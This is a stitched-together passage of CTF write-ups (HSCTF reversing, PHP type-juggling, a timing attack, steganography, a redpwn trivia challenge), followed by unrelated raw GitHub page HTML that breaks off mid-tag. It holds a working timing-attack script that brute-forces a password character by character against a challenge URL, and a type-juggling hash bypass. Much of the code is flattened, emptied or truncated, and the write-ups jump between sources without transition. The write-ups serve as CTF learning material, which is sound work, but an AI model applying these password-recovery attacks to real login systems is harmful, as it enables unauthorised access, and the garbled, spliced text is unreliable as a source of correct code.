So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}`
# **WEB**
## MD5-- :> description:
### Solution:
```php
```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag.
One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf)
So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s))
breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409
Here's our flag `hsctf{php_type_juggling_is_fun}`
## Networked Password -:> description:
### Solution:
We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-:
> Hint : You know the flag format
So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers.
And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime
URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{"
DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging
for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag.
# **FORENSICS**
## Double Trouble :
> description:
### Solution:
After downloading image you see both are quite similar .
 
So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install).
Opening it on command line `java -jar stegsolve.jar`
I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: " |
In this misc challenge with the description:```Win Tux Trivia Show!
nc chall2.2019.redpwn.net 6001```
we were given a challenge to solve: the software prompt us for the capital of a State and we must provide it in time, for example:
```$ nc chall2.2019.redpwn.net 6001Welcome to Tux Trivia Show!!!What is the capital of Italy?RomeCorrect! Next question coming...```
So the easiest thing is to create a script to play it and provide the city some web-scraping/hardcoding. After a while we will reach the end:
```Correct! Next question coming...
Here is your flag: flag{TUX_tr1v1A_sh0w+m3st3r3d_:D}``` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>exploits_challenges/penpal_world_redpwnCTF2019 at master · KaoRz/exploits_challenges · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="CCA3:76EE:1CD4AF90:1DB221A4:64122456" data-pjax-transient="true"/><meta name="html-safe-nonce" content="3ef3e401f964d1ac2bd224d0e141aa011e6eeb2210f92dd70830441fa02b9d0d" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDQ0EzOjc2RUU6MUNENEFGOTA6MURCMjIxQTQ6NjQxMjI0NTYiLCJ2aXNpdG9yX2lkIjoiNjc4NjUzODc0MzgzNDk2Mjc4IiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="2d37f2493be8d11eb521314746f4a08b6563f6bdc165c59318eb57d0b4659c57" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:142911961" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Challenges and vulnerabilities exploitation. Contribute to KaoRz/exploits_challenges development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/ecf3eb9365ac289719e141d542eb528c56e3b011578627be33b0fb99148dd035/KaoRz/exploits_challenges" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="exploits_challenges/penpal_world_redpwnCTF2019 at master · KaoRz/exploits_challenges" /><meta name="twitter:description" content="Challenges and vulnerabilities exploitation. Contribute to KaoRz/exploits_challenges development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/ecf3eb9365ac289719e141d542eb528c56e3b011578627be33b0fb99148dd035/KaoRz/exploits_challenges" /><meta property="og:image:alt" content="Challenges and vulnerabilities exploitation. Contribute to KaoRz/exploits_challenges development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="exploits_challenges/penpal_world_redpwnCTF2019 at master · KaoRz/exploits_challenges" /><meta property="og:url" content="https://github.com/KaoRz/exploits_challenges" /><meta property="og:description" content="Challenges and vulnerabilities exploitation. Contribute to KaoRz/exploits_challenges development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/KaoRz/exploits_challenges git https://github.com/KaoRz/exploits_challenges.git">
<meta name="octolytics-dimension-user_id" content="25328381" /><meta name="octolytics-dimension-user_login" content="KaoRz" /><meta name="octolytics-dimension-repository_id" content="142911961" /><meta name="octolytics-dimension-repository_nwo" content="KaoRz/exploits_challenges" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="142911961" /><meta name="octolytics-dimension-repository_network_root_nwo" content="KaoRz/exploits_challenges" />
<link rel="canonical" href="https://github.com/KaoRz/exploits_challenges/tree/master/penpal_world_redpwnCTF2019" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 